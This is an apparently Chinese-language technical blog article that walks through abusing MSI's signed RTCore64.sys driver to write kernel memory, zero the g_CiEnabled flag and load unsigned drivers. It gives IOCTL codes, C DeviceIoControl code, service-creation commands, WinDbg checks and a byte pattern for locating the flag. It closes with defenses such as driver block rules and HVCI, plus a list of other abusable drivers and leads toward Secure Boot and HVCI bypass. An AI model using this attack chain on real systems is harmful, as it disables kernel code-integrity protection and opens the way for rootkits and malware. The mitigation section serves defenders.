1. 项目背景与核心问题在Windows安全体系中驱动程序签名验证机制Driver Signature EnforcementDSE是防止恶意代码加载到内核空间的重要防线。但安全研究人员发现某些合法签名的驱动程序存在被滥用的风险。RTCore64.sys是Micro-Star InternationalMSI为超频工具开发的官方驱动由于设计缺陷可被用于内存任意读写操作。这个项目演示了如何利用RTCore64驱动的漏洞实现以下目标在内核空间禁用DSE保护加载未签名驱动程序突破Windows安全机制的限制注意本文仅用于安全研究目的实际操作需在授权环境中进行2. 技术原理深度解析2.1 RTCore64驱动漏洞分析该驱动提供了以下危险接口通过IOCTL调用#define RTCORE_MEMORY_READ 0x80002048 #define RTCORE_MEMORY_WRITE 0x8000204C漏洞本质在于未验证用户态传入的地址参数直接在内核上下文执行读写操作未实施必要的权限检查通过逆向工程可见关键函数伪代码mov rax, [rcx10h] ; 用户控制的源地址 mov rdx, [rcx18h] ; 用户控制的目标地址 mov r8, [rcx20h] ; 用户控制的读写长度 mov [rdx], rax ; 直接内存操作2.2 Windows签名校验机制系统关键内存结构nt!g_CiEnabled (CI.dll) - 代码完整性开关 nt!SeCodeIntegrityPolicy - 完整性策略标志签名验证流程驱动加载时调用CiValidateImageHeader检查IMAGE_DIRECTORY_ENTRY_SECURITY节验证证书链与微软信任库匹配3. 完整攻击链实现3.1 环境准备所需工具WinDbg PreviewRTCore64.sys版本1.0.0.2测试用未签名驱动如demo.sysProcess Hacker 2系统要求Windows 10 1809测试模式已启用bcdedit /set testsigning on3.2 漏洞利用步骤加载合法驱动sc create RTCore binPath C:\drivers\RTCore64.sys type kernel sc start RTCore内存修改操作HANDLE hDevice CreateFile(L\\\\.\\RTCore64, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); DWORD64 g_CiEnabledAddr 0xFFFFF8047A6B8180; // 需根据系统版本调整 DWORD64 payload 0; DeviceIoControl( hDevice, RTCORE_MEMORY_WRITE, g_CiEnabledAddr, sizeof(g_CiEnabledAddr), payload, sizeof(payload), NULL, NULL );验证签名已禁用kd dd nt!g_CiEnabled L1 fffff8047a6b8180 000000003.3 驱动加载验证加载未签名驱动sc create UnsignedDrv binPath C:\demo.sys type kernel sc start UnsignedDrv # 此时应成功加载4. 防御方案与缓解措施4.1 企业防护建议驱动黑名单策略DeviceConfiguration DriverBlockRules Rule DriverFile nameRTCore64.sys / Action typeBlock / /Rule /DriverBlockRules /DeviceConfiguration启用HVCI基于虚拟化的安全Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard -Name EnableVirtualizationBasedSecurity -Value 1 Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard -Name RequireMicrosoftSignedBootChain -Value 14.2 开发者注意事项安全驱动开发规范必须验证IOCTL输入参数实现ObReferenceObjectByHandle检查使用ProbeForRead/ProbeForWrite启用CFG控制流防护5. 技术演进与变种类似漏洞模式华硕GPU Tweak IIGDRV.sys技嘉RGB FusionGLCKIO2.sys联想硬件监控LHA.sys现代系统防护演进Kernel DMA ProtectionDSE规则细化Windows 11 22H2VBS隔离机制6. 实战调试技巧6.1 地址定位方法通过符号文件定位lm m nt x nt!g_CiEnabled特征码搜索当符号不可用时48 8B 05 ?? ?? ?? ?? 84 C0 74 ?? 80 3D ?? ?? ?? ?? ?? 74 ??6.2 稳定性优化安全的内存操作流程先读取目标地址当前值验证内存页属性!pte命令使用中断上下文安全的写入方式恢复原始内存保护MmProtectMdlSystemAddress7. 法律与伦理边界合规研究原则仅测试自己拥有的设备不绕过DRM等版权保护漏洞披露遵循CERT准则商业用途需获得MSI授权8. 扩展研究方向进阶技术路线结合物理内存映射\Device\PhysicalMemory利用PCI设备DMA能力研究Secure Boot绕过探索HVCI逃逸技术重要提示所有实验应在隔离的测试环境中进行生产环境禁止此类操作
阅读完成 · 觉得有帮助?